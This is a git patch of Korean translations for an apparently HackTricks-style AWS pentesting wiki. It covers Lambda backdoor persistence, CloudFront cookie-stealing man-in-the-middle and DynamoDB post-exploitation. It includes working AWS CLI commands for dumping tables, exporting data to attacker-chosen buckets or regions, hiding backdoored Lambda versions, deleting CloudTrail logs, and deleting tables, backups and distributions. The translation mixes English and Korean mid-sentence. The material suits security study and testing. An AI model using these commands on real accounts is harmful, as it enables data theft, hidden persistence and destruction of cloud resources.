From 1d70c750ca82673e54626d24b53a58d2d05e9e50 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 23 Oct 2025 15:00:32 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws --- .../aws-lambda-persistence/README.md | 90 ++++++-- .../README.md | 29 ++- .../aws-dynamodb-post-exploitation/README.md | 149 +++++++----- .../README.md | 130 ++++++----- .../aws-iam-post-exploitation/README.md | 69 ++++-- .../aws-lambda-post-exploitation/README.md | 46 ++-- .../aws-rds-post-exploitation/README.md | 159 ++++++++----- .../aws-s3-post-exploitation/README.md | 53 ++++- .../aws-cloudfront-privesc/README.md | 217 ++++++++++++++++++ .../aws-ec2-privesc/README.md | 120 ++++++---- .../aws-iam-privesc/README.md | 107 +++++---- .../aws-s3-privesc/README.md | 56 +++-- 12 files changed, 858 insertions(+), 367 deletions(-) create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index c5b3a5e5c..a180b8b62 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -12,7 +12,7 @@ ### Lambda Layer Persistence -lambda가 실행될 때 은밀하게 임의 코드를 실행하도록 layer를 삽입/백도어화할 수 있습니다: +Lambda가 실행될 때 은밀하게 **introduce/backdoor a layer to execute arbitrary code** 하는 레이어를 추가(백도어)할 수 있습니다: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Lambda Layers를 악용하면 extensions를 남용하여 lambda에 영구화(persist)할 수 있으며 요청을 탈취하거나 수정할 수도 있습니다. +Lambda Layers를 악용하면 extensions를 악용해 Lambda에 persistence를 확보하고 요청을 훔치거나 수정할 수도 있습니다. {{#ref}} aws-abusing-lambda-extensions.md @@ -28,42 +28,42 @@ aws-abusing-lambda-extensions.md ### Via resource policies -외부 계정에 대해 lambda의 다양한 액션(예: invoke 또는 update code)에 대한 접근을 부여할 수 있습니다: +외부 계정에 대해 invoke나 update code 같은 다양한 Lambda 액션에 대한 접근을 부여할 수 있습니다:
### Versions, Aliases & Weights -A Lambda는 서로 다른 코드로 구성된 여러 versions를 가질 수 있습니다.\ -그런 다음, 서로 다른 versions를 가리키는 aliases를 생성하고 각 alias에 대해 weights를 설정할 수 있습니다.\ -이렇게 하면 공격자는 backdoored version 1과 정상 코드만 포함된 version 2를 만들고, 은밀하게 유지하기 위해 요청의 1%에서만 version 1을 실행하도록 설정할 수 있습니다. +Lambda는 각기 다른 코드가 들어갈 수 있는 **여러 버전**을 가질 수 있습니다. +그런 다음 서로 다른 버전을 가리키는 **여러 aliases**를 만들고 각 alias에 **weights**를 설정할 수 있습니다. +이렇게 하면 공격자는 **backdoored version 1**과 **version 2 with only the legit code**를 만들고 요청의 1%에서만 **execute the version 1** 하도록 설정해 은밀하게 활동할 수 있습니다.
### Version Backdoor + API Gateway -1. Copy the original code of the Lambda -2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST -1. Call the API gateway related to the lambda to execute the code -3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. -1. This will hide the backdoored code in a previous version -4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1` -1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). -5. Select the POST method created and in Actions select **`Deploy API`** -6. Now, when you **call the function via POST your Backdoor** will be invoked +1. Lambda의 원본 코드를 복사합니다. +2. **Create a new version backdooring** the original code (or just with malicious code). Publish하고 **deploy that version**을 $LATEST로 합니다. +1. 관련된 API Gateway를 호출해 코드를 실행합니다. +3. **Create a new version with the original code**, Publish하고 해당 **version**을 $LATEST로 deploy합니다. +1. 이렇게 하면 백도어가 포함된 코드는 이전 버전에 숨겨집니다. +4. API Gateway로 이동해 백도어 버전의 Lambda를 실행할 **새 POST 메서드**(또는 다른 메서드)를 생성합니다: `arn:aws:lambda:us-east-1::function::1` +1. ARN의 끝 :1은 **함수의 버전**을 나타냅니다(이 시나리오에서 버전 1이 백도어 버전입니다). +5. 생성한 POST 메서드를 선택하고 Actions에서 **`Deploy API`**를 선택합니다. +6. 이제 POST로 함수를 호출하면 **당신의 Backdoor**가 호출됩니다. ### Cron/Event actuator -무언가가 발생하거나 일정 시간이 지나면 lambda functions를 실행시킬 수 있다는 점 때문에 lambda는 persistence를 얻고 탐지를 피하는 흔한 방법입니다.\ -다음은 lambdas를 생성하여 AWS에서의 존재를 더 은밀하게 만드는 몇 가지 아이디어입니다. +무언가가 발생하거나 일정 시간이 지나면 **Lambda 함수를 실행할 수 있다는 점**은 persistence를 얻고 탐지를 피하기 위한 일반적인 방법으로 Lambda를 유용하게 만듭니다. +아래는 AWS에서의 존재를 더 은밀하게 하기 위해 Lambda를 생성할 때의 아이디어들입니다. -- Every time a new user is created lambda generates a new user key and send it to the attacker. -- Every time a new role is created lambda gives assume role permissions to compromised users. -- Every time new cloudtrail logs are generated, delete/alter them +- 새 사용자가 생성될 때마다 Lambda가 새 사용자 키를 생성하고 공격자에게 전송합니다. +- 새 역할이 생성될 때마다 Lambda가 손상된 사용자에게 assume role 권한을 부여합니다. +- 새 CloudTrail 로그가 생성될 때마다 이를 삭제/변경합니다 ### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers -환경 변수 `AWS_LAMBDA_EXEC_WRAPPER`를 악용하여 runtime/handler가 시작되기 전에 공격자가 제어하는 wrapper 스크립트를 실행할 수 있습니다. wrapper를 Lambda Layer로 `/opt/bin/htwrap`에 전달하고 `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`로 설정한 다음 함수를 호출하세요. wrapper는 함수 runtime 프로세스 내부에서 실행되며 함수 execution role을 상속하고 최종적으로 실제 runtime을 `exec`하여 원래 handler가 정상적으로 계속 실행되도록 합니다. +환경 변수 `AWS_LAMBDA_EXEC_WRAPPER`를 악용하여 runtime/handler가 시작되기 전에 공격자가 제어하는 wrapper 스크립트를 실행하세요. Wrapper를 Lambda Layer로 `/opt/bin/htwrap`에 전달하고 `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`로 설정한 뒤 함수를 호출합니다. Wrapper는 함수 런타임 프로세스 내에서 실행되며 함수 실행 역할(role)을 상속하고, 마지막에 실제 런타임을 `exec`하여 원래 핸들러가 정상적으로 실행되도록 합니다. {{#ref}} aws-lambda-exec-wrapper-persistence.md @@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md ### AWS - Lambda Function URL Public Exposure -Lambda의 asynchronous destinations와 Recursion 설정을 함께 악용하면 외부 스케줄러(EventBridge, cron 등) 없이도 함수가 스스로 지속적으로 재호출되도록 만들 수 있습니다. 기본적으로 Lambda는 재귀 루프를 종료하지만 recursion config를 Allow로 설정하면 이를 다시 활성화할 수 있습니다. Destinations는 비동기 호출에 대해 서비스 측에서 전달되므로 단일 시드 호출로 코드 없는 은밀한 heartbeat/backdoor 채널을 만들 수 있습니다. 선택적으로 reserved concurrency로 스로틀링하여 잡음을 낮출 수 있습니다. +Lambda의 asynchronous destinations와 Recursion 설정을 함께 악용해 외부 스케줄러(EventBridge, cron 등) 없이 함수가 스스로 지속적으로 재호출되게 만들 수 있습니다. 기본적으로 Lambda는 재귀 루프를 종료하지만, recursion 설정을 Allow로 변경하면 이를 다시 활성화할 수 있습니다. Destinations는 async invoke에 대해 서비스 측에서 전달되므로, 단 한 번의 seed invoke만으로 코드 없는 은밀한 heartbeat/backdoor 채널을 만들 수 있습니다. 원치 않는 소음을 줄이려면 reserved concurrency로 쓰로틀링할 수 있습니다. {{#ref}} aws-lambda-async-self-loop-persistence.md @@ -79,13 +79,55 @@ aws-lambda-async-self-loop-persistence.md ### AWS - Lambda Alias-Scoped Resource Policy Backdoor -공격자 로직을 담은 숨겨진 Lambda version을 생성하고 `lambda add-permission`에서 `--qualifier` 파라미터를 사용하여 해당 특정 version(또는 alias)에 리소스 기반 정책을 범위(scope) 지정하세요. 공격자 주체에 대해 `arn:aws:lambda:REGION:ACCT:function:FN:VERSION`에만 `lambda:InvokeFunction` 권한을 부여합니다. 함수 이름 또는 기본 alias를 통한 정상 호출은 영향을 받지 않으며, 공격자는 백도어된 version ARN을 직접 호출할 수 있습니다. +공격자 로직을 담은 숨겨진 Lambda 버전을 생성하고 `lambda add-permission`의 `--qualifier` 파라미터를 사용해 해당 특정 버전(또는 alias)에 리소스 기반 정책을 적용하세요. 공격자 주체에 대해 `arn:aws:lambda:REGION:ACCT:function:FN:VERSION`에 대해 `lambda:InvokeFunction`만 부여합니다. 함수 이름이나 기본 alias를 통한 정상 호출은 영향을 받지 않으며, 공격자는 백도어가 있는 버전 ARN을 직접 호출할 수 있습니다. -이 방법은 Function URL을 노출하는 것보다 은밀하며 주 트래픽 alias를 변경하지 않습니다. +이는 Function URL을 노출하는 것보다 더 은밀하며 기본 트래픽 alias를 변경하지 않습니다. {{#ref}} aws-lambda-alias-version-policy-backdoor.md {{#endref}} +### Freezing AWS Lambda Runtimes +lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, lambda:GetRuntimeManagementConfig 권한을 가진 공격자는 함수의 runtime management configuration을 수정할 수 있습니다. 이 공격은 특히 Lambda 함수를 취약한 런타임 버전에 고정하거나 최신 런타임과 호환되지 않을 수 있는 악성 레이어와의 호환성을 유지하려는 경우에 효과적입니다. + +공격자는 runtime management configuration을 수정하여 런타임 버전을 고정합니다: +```bash +# Invoke the function to generate runtime logs +aws lambda invoke \ +--function-name $TARGET_FN \ +--payload '{}' \ +--region us-east-1 /tmp/ping.json + +sleep 5 + +# Freeze automatic runtime updates on function update +aws lambda put-runtime-management-config \ +--function-name $TARGET_FN \ +--update-runtime-on FunctionUpdate \ +--region us-east-1 +``` +적용된 구성을 확인하세요: +```bash +aws lambda get-runtime-management-config \ +--function-name $TARGET_FN \ +--region us-east-1 +``` +선택 사항: 특정 런타임 버전으로 고정 +```bash +# Extract Runtime Version ARN from INIT_START logs +RUNTIME_ARN=$(aws logs filter-log-events \ +--log-group-name /aws/lambda/$TARGET_FN \ +--filter-pattern "INIT_START" \ +--query 'events[0].message' \ +--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4) +``` +특정 런타임 버전으로 고정: +```bash +aws lambda put-runtime-management-config \ +--function-name $TARGET_FN \ +--update-runtime-on Manual \ +--runtime-version-arn $RUNTIME_ARN \ +--region us-east-1 +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md index d5869edbb..f9f450624 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -4,28 +4,37 @@ ## CloudFront -자세한 정보는 다음을 확인하세요: +For more information check: {{#ref}} ../../aws-services/aws-cloudfront-enum.md {{#endref}} +### `cloudfront:Delete*` +cloudfront:Delete* 권한이 부여된 공격자는 distributions, policies 및 기타 중요한 CDN 구성 객체를 삭제할 수 있습니다 — 예를 들어 distributions, cache/origin policies, key groups, origin access identities, functions/configs 및 관련 리소스 등이 있습니다. 이는 서비스 중단, 콘텐츠 손실 및 구성 또는 포렌식 아티팩트의 삭제를 초래할 수 있습니다. + +To delete a distribution an attacker could use: +```bash +aws cloudfront delete-distribution \ +--id \ +--if-match +``` ### Man-in-the-Middle -This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)에서는 **Lambda**를 **communication through CloudFront**에 추가(또는 이미 사용 중이면 수정)하여 세션 **cookie**와 같은 사용자 정보를 **stealing**하고 **response**를 **modifying**(악성 JS 스크립트 주입)하는 여러 시나리오를 제시합니다. +This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script). -#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket +#### 시나리오 1: MitM — CloudFront가 bucket의 일부 HTML에 접근하도록 구성된 경우 -- **Create** 악성 **function**. -- **Associate** 이를 CloudFront distribution과 연동합니다. -- Set the **event type to "Viewer Response"**. +- **Create** 악성 **function**을 생성합니다. +- **Associate** 이를 CloudFront 배포와 연결합니다. +- **event type**을 "Viewer Response"로 설정합니다. -응답에 접근하면 사용자 cookie를 탈취하고 악성 JS를 주입할 수 있습니다. +응답에 접근하면 사용자의 cookie를 훔치고 악성 JS를 주입할 수 있습니다. -#### scenario 2: MitM where CloudFront is already using a lambda function +#### 시나리오 2: MitM — CloudFront가 이미 lambda function을 사용 중인 경우 -- lambda function의 코드를 **Modify the code**하여 민감한 정보를 탈취합니다. +- **Modify the code**하여 lambda function의 동작을 변경해 민감한 정보를 탈취할 수 있습니다 -재현을 위한 [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)를 확인할 수 있습니다. +You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index 7a7bbb78c..108b3630e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -4,7 +4,7 @@ ## DynamoDB -자세한 정보는 다음을 확인하세요: +자세한 내용은 다음을 확인하세요: {{#ref}} ../../aws-services/aws-dynamodb-enum.md @@ -12,7 +12,7 @@ ### `dynamodb:BatchGetItem` -이 권한을 가진 공격자는 **기본 키로 테이블에서 항목을 가져올 수 있습니다** (테이블의 모든 데이터를 한 번에 요청할 수는 없습니다). 즉, 기본 키를 알고 있어야 합니다(테이블 메타데이터를 가져오면 알 수 있습니다(`describe-table`).). +이 권한을 가진 공격자는 **기본 키로 테이블의 항목을 가져올 수 있습니다**(테이블의 모든 데이터를 한 번에 요청할 수는 없습니다). 즉, 기본 키를 알고 있어야 합니다(테이블 메타데이터(`describe-table`)를 통해 확인할 수 있습니다). {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc — 테이블에서 민감한 정보를 찾아 악용될 수 있음 +**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 privesc ### `dynamodb:GetItem` -**이전 권한들과 유사하게** 이 권한은 공격자가 특정 항목을 조회하기 위한 기본 키(primary key)를 알고 있을 경우 단 1개의 테이블에서 해당 항목의 값을 읽을 수 있도록 허용한다: +**이전 권한과 유사하게** 이 권한은 공격자가 검색하려는 항목의 기본 키를 알고 있을 경우, 단 하나의 테이블에서 값을 읽을 수 있게 한다: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Potential Impact:** 테이블에서 민감한 정보를 찾아 간접적인 privesc를 일으킬 수 있음 +**잠재적 영향:** 테이블에서 민감한 정보를 찾아내어 발생하는 간접적인 privesc ### `dynamodb:Query` -**Similar to the previous permissions** 이 권한은 잠재적 공격자가 조회하려는 항목의 기본 키를 알고 있을 때 단 하나의 테이블에서 값만 읽을 수 있도록 허용한다. [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)을 사용할 수 있지만, 기본 키(반드시 포함되어야 함)에 대해 허용되는 비교는 "EQ"뿐이므로 요청 하나로 전체 데이터베이스를 가져오기 위해 비교 연산을 사용할 수 없다. +**이전 권한들과 유사하게** 이 권한은 잠재적 공격자가 특정 항목의 기본 키를 알고 있을 경우 단 하나의 테이블에서 값을 읽도록 허용합니다. [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)을(를) 사용할 수 있지만, 기본 키(반드시 포함되어야 함)에 대해 허용되는 비교는 "EQ"뿐이므로 하나의 요청으로 데이터베이스 전체를 가져올 수는 없습니다. {{#tabs }} {{#tab name="json file" }} @@ -107,35 +107,35 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 privesc를 초래할 수 있음 +**Potential Impact:** 테이블에 저장된 민감한 정보를 찾아 간접적인 privesc ### `dynamodb:Scan` -이 권한을 사용하면 **테이블 전체를 쉽게 dump할 수 있습니다**. +이 권한을 사용하면 **전체 테이블을 손쉽게 dump할 수 있습니다**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 privesc가 발생할 수 있음 +**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 privesc가 발생할 수 있습니다 ### `dynamodb:PartiQLSelect` -이 권한을 사용하면 **dump the entire table easily**. +이 권한을 사용하면 **테이블 전체를 쉽게 dump**할 수 있습니다. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -이 권한은 또한 다음과 같이 `batch-execute-statement`를 수행할 수 있도록 허용합니다: +이 권한으로 `batch-execute-statement`와 같은 작업도 수행할 수 있습니다: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -하지만 기본 키에 값을 지정해야 하므로, 그다지 유용하지 않습니다. +하지만 기본 키(primary key)에 값을 지정해야 하므로, 그다지 유용하지 않습니다. -**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접 privesc를 초래할 수 있습니다. +**잠재적 영향:** 테이블에서 민감한 정보를 찾아 Indirect privesc ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -이 권한은 공격자가 **선택한 S3 버킷으로 테이블 전체를 내보낼 수 있게 합니다:** +이 권한은 공격자가 **테이블 전체를 자신이 선택한 S3 bucket으로 내보낼 수** 있게 합니다: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -이것이 작동하려면 테이블에 point-in-time-recovery가 활성화되어 있어야 합니다. 테이블에 그것이 적용되어 있는지 확인하려면: +이 작업이 작동하려면 테이블에 point-in-time-recovery가 활성화되어 있어야 합니다. 테이블에 해당 설정이 있는지 확인하려면 다음을 사용하세요: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -활성화되어 있지 않다면, **활성화해야 하며**, 이를 위해서는 **`dynamodb:ExportTableToPointInTime`** 권한이 필요합니다: +활성화되어 있지 않다면, **활성화해야 하며** 이를 위해 **`dynamodb:ExportTableToPointInTime`** 권한이 필요합니다: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Potential Impact:** 테이블에서 민감한 정보를 찾아내어 간접 privesc +**잠재적 영향:** 테이블에서 민감한 정보를 찾아 간접적인 privesc를 초래할 수 있음 -### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` +### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup) -이 권한들이 있으면, 공격자는 **백업에서 새 테이블을 생성할 수 있습니다**(또는 심지어 백업을 생성한 뒤 다른 테이블에 복원할 수도 있습니다). 그런 다음 필요한 권한이 있다면, 그는 프로덕션 테이블에는 더 이상 존재하지 않을 수 있는 백업의 **정보**를 확인할 수 있습니다. +이 권한이 있으면 공격자는 **백업에서 새 테이블을 생성할 수 있습니다** (또는 다른 테이블에 복원하기 위해 백업을 생성할 수도 있습니다). 그런 다음, 필요한 권한이 있으면 공격자는 백업에서 **정보**를 확인할 수 있으며, 이는 **더 이상 운영 테이블에 존재하지 않는** 정보일 수 있습니다. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**잠재적 영향:** 테이블 백업에서 민감한 정보를 찾아 간접 privesc을 유발할 수 있음 +**잠재적 영향:** 테이블 백업에서 민감한 정보를 찾아 Indirect privesc ### `dynamodb:PutItem` -이 권한은 사용자가 테이블에 **새 항목을 추가하거나 기존 항목을 새 항목으로 대체**할 수 있게 합니다. 동일한 기본 키가 이미 존재하면, **전체 항목이 새 항목으로 대체**됩니다. 기본 키가 존재하지 않으면 지정된 기본 키를 가진 새 항목이 **생성**됩니다. +이 권한은 사용자가 **테이블에 새 항목을 추가하거나 기존 항목을 새 항목으로 대체**할 수 있게 합니다. 동일한 기본 키를 가진 항목이 이미 존재하면, 해당 항목은 **전체 항목이 새 항목으로 대체**됩니다. 기본 키가 존재하지 않으면, 지정된 기본 키를 가진 새 항목이 **생성**됩니다. {{#tabs }} {{#tab name="XSS Example" }} @@ -202,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Potential Impact:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되어 추가적인 취약점/우회 기법을 악용할 수 있음 +**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되어 추가적인 취약점/bypasses를 악용할 수 있음 ### `dynamodb:UpdateItem` -이 권한은 사용자에게 항목의 기존 속성을 **수정하거나 항목에 새 속성을 추가**할 수 있게 해줍니다. 이는 전체 항목을 **대체하지 않으며** 지정된 속성만 업데이트합니다. 테이블에 기본 키가 존재하지 않으면, 이 작업은 지정된 기본 키로 **새 항목을 생성**하고 업데이트 표현식에 지정된 속성을 설정합니다. +이 권한은 사용자가 **항목의 기존 속성을 수정하거나 항목에 새로운 속성을 추가**할 수 있도록 허용합니다. 이 작업은 항목 전체를 **대체하지 않습니다**; 지정된 속성만 업데이트합니다. 기본 키가 테이블에 존재하지 않으면, 이 작업은 지정된 기본 키로 **새 항목을 생성**하고 업데이트 표현식에 지정된 속성을 설정합니다. {{#tabs }} {{#tab name="XSS Example" }} @@ -242,17 +242,17 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**잠재적 영향:** DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되어 추가적인 취약점/우회 기법을 악용할 수 있습니다 +**잠재적 영향:** DynamoDB 테이블의 데이터를 추가/수정할 수 있게 되면 추가 취약점/bypasses가 악용될 수 있음 ### `dynamodb:DeleteTable` -이 권한을 가진 공격자는 **DynamoDB 테이블을 삭제하여 데이터 손실을 초래할 수 있습니다**. +해당 권한을 가진 공격자는 **DynamoDB 테이블을 삭제하여 데이터 손실을 초래할 수 있습니다**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**잠재적 영향**: 삭제된 테이블에 의존하는 서비스의 데이터 손실 및 중단. +**Potential impact**: 데이터 손실 및 삭제된 테이블에 의존하는 서비스의 중단. ### `dynamodb:DeleteBackup` @@ -262,14 +262,14 @@ aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Potential impact**: 재해 복구 시나리오에서 데이터 손실 및 백업으로부터 복구할 수 없음. +**Potential impact**: 재해 복구 시나리오에서 백업으로부터 복구할 수 없는 데이터 손실. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] > TODO: 실제로 작동하는지 테스트 필요 -이 권한을 가진 공격자는 **DynamoDB 테이블에서 stream을 활성화하고, 테이블을 업데이트해 변경사항 스트리밍을 시작한 뒤 stream에 접근하여 테이블 변경사항을 실시간으로 모니터링할 수 있습니다**. 이는 공격자가 데이터 변경사항을 모니터링하고 exfiltrate할 수 있게 하며, 잠재적으로 data leakage로 이어질 수 있습니다. +이 권한을 가진 공격자는 **DynamoDB 테이블에서 stream을 활성화하고, 테이블을 업데이트해 변경 사항의 streaming을 시작한 후 해당 stream에 접근하여 테이블 변경을 실시간으로 모니터링할 수 있습니다**. 이렇게 공격자는 데이터 변경을 모니터링하고 exfiltrate할 수 있어, 잠재적으로 data leakage로 이어질 수 있습니다. 1. DynamoDB 테이블에서 stream을 활성화: ```bash @@ -278,7 +278,7 @@ aws dynamodb update-table \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. ARN 및 기타 세부 정보를 얻기 위한 스트림을 설명하세요: +2. ARN 및 기타 세부 정보를 얻기 위해 스트림을 설명합니다: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ @@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. shard iterator를 사용하여 stream의 데이터에 접근하고 exfiltrate합니다: +4. shard iterator를 사용하여 stream에서 데이터를 접근하고 exfiltrate하세요: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**잠재적 영향**: DynamoDB 테이블 변경의 실시간 모니터링 및 data leakage. +**Potential impact**: DynamoDB 테이블 변경사항의 실시간 모니터링 및 data leakage. -### `dynamodb:UpdateItem`와 `ReturnValues=ALL_OLD`로 항목 읽기 +### `dynamodb:UpdateItem` 및 `ReturnValues=ALL_OLD`로 항목 읽기 -테이블에 대해 `dynamodb:UpdateItem` 권한만 있는 공격자는 무해한 업데이트를 수행하고 `--return-values ALL_OLD`를 요청함으로써 일반적인 읽기 권한(`GetItem`/`Query`/`Scan`) 없이 항목을 읽을 수 있습니다. DynamoDB는 응답의 `Attributes` 필드에 항목의 업데이트 전 전체 이미지를 반환합니다(이는 RCUs를 소모하지 않습니다). +테이블에 대해 `dynamodb:UpdateItem` 권한만 있는 공격자는 무해한 업데이트를 수행하고 `--return-values ALL_OLD`를 요청함으로써 일반적인 읽기 권한(`GetItem`/`Query`/`Scan`) 없이 항목을 읽을 수 있습니다. DynamoDB는 응답의 `Attributes` 필드에 업데이트 이전의 항목 전체 이미지를 반환합니다(이는 RCUs를 소비하지 않습니다). - 최소 권한: 대상 테이블/키에 대한 `dynamodb:UpdateItem`. -- 전제 조건: 항목의 기본 키를 알아야 합니다. +- 전제 조건: 항목의 primary key를 알고 있어야 합니다. -Example (adds a harmless attribute and exfiltrates the previous item in the response): +예시 (무해한 attribute를 추가하고 응답에서 이전 항목을 exfiltrates): ```bash aws dynamodb update-item \ --table-name \ @@ -318,14 +318,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -The CLI response will include an `Attributes` block containing the complete previous item (all attributes), effectively providing a read primitive from write-only access. +The CLI 응답에는 이전 항목 전체(모든 attributes)를 포함하는 `Attributes` 블록이 포함되어, 사실상 write-only 접근으로부터 read primitive를 제공한다. -**잠재적 영향:** 쓰기 권한만으로 테이블의 임의 항목을 읽을 수 있어, 기본 키가 알려진 경우 민감한 데이터 유출을 가능하게 한다. +**잠재적 영향:** 쓰기 권한만으로 테이블에서 임의의 항목을 읽을 수 있으며, primary keys가 알려진 경우 민감한 데이터 exfiltration이 가능하다. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -새 복제 리전(replica Region)을 DynamoDB Global Table (version 2019.11.21)에 추가하여 은밀하게 데이터 유출을 수행할 수 있다. 만약 주체(principal)가 리전 복제본을 추가할 수 있다면, 전체 테이블이 공격자가 선택한 리전으로 복제되어 공격자는 해당 리전에서 모든 항목을 읽을 수 있다. +DynamoDB Global Table (version 2019.11.21)에 새 replica Region을 추가하여 은밀하게 exfiltration을 수행할 수 있다. Principal이 regional replica를 추가할 수 있다면, 테이블 전체가 공격자가 선택한 Region으로 복제되고, 공격자는 그 Region에서 모든 항목을 읽을 수 있다. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -354,13 +354,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -권한: `dynamodb:UpdateTable` (with `replica-updates`) 또는 대상 테이블에 대한 `dynamodb:CreateTableReplica`. 복제본에서 CMK를 사용하는 경우 해당 키에 대한 KMS 권한이 필요할 수 있습니다. +권한: `dynamodb:UpdateTable` (with `replica-updates`) 또는 대상 테이블에 대한 `dynamodb:CreateTableReplica`. 복제본에 CMK가 사용되는 경우 해당 키에 대한 KMS 권한이 필요할 수 있음. -잠재적 영향: 공격자 제어 리전으로의 전체 테이블 복제가 발생하여 은밀한 데이터 유출로 이어질 수 있음. +잠재적 영향: 전체 테이블이 attacker가 제어하는 Region으로 복제되어 은밀한 data exfiltration이 발생할 수 있음. ### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -트랜잭션 쓰기 권한을 가진 공격자는 `TransactWriteItems` 내부에서 의도적으로 `ConditionExpression`이 실패하도록 하는 `Update`를 수행하고 `ReturnValuesOnConditionCheckFailure=ALL_OLD`를 설정함으로써 기존 항목의 전체 속성을 유출할 수 있습니다. 실패 시, DynamoDB는 트랜잭션 취소 사유에 이전 속성을 포함시켜 특정 키에 대한 쓰기 전용 접근을 사실상 읽기 접근으로 바꿉니다. 